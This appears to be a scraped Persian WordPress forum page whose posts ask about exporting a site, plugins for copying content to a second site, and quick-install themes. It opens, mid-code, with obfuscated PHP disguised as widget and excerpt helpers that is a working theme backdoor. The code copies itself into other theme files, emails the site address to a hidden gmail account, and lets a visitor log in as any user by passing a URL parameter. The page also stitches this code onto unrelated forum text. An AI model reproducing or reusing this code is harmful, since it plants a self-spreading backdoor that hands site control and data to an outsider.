$more_link . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getsprepare_widget"); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); ?>
  10. با سلام من میخواستم از سایتم برون ریزی کامل بگیرم و روی سایت دیگرم بریزم ( هر دو در یک هاست ) ولی وقتی روی برون ریزی در داشبورد وردپرس کلیک میکنم هیچ صحفه ای باز نمیشه و تنظیمات مربوطه نمیان توی اینترنت این افزونه را پیدا کردم ولی وقتی اونم نصب کردم قسمت Export برای گرفتن برون ریزی را در سر برگ های خودش نداشت طبق این https://goo.gl/WTPNQ3 کسی از اساتید میدونه مشکل از کجاست ؟
  11. ممنونم که افزونه را معرفی کردین فعلا باید تست کنم ببینم بهم جواب میده فکر کنم تغیرات در هسته وردپرس دیگه به یه حرفه ای نیاز داشته باشه از افزونه ها استفاده میکنم و در حال سرچ در مورد کلید API هستم ببینم میتونم یادش بگیرم بازم تشکر
  12. دمتون گرم ممنون میشم اسمشو بهم بگین یا برام اپ کنید
  13. ایا برای راحتی کار افزونه های برای این کار هستن ؟ یا میشه از یه دیتابیس برای دوتا سایت استفاده کرد ؟
  14. نه تازه میخام یه برون ریز از سایت اصلی بگیرم و توی سایت دوم بریزم کلا دو تا سایت شبیه به هم بشن ولی میخام هر چی روی سایت اولم توشتم روی سایت دوم هم عینا مطالب و تگ ها و ... بیان
  15. همه به همین صورت عمل میکنن و اینجور نصب ها برای پوسته های ووکامرس وردپرس هستش که کار باهاشون زیاد راحت نیست البت بعضی از پوسته های وردپرس هم مثل قالب صحیفه که تنظیمات زیادی داره من دیدم توی بعضی از سایت ها فایل نصب سریعش را میزارن برا دانلود همراه با افزونه های مورد نیازش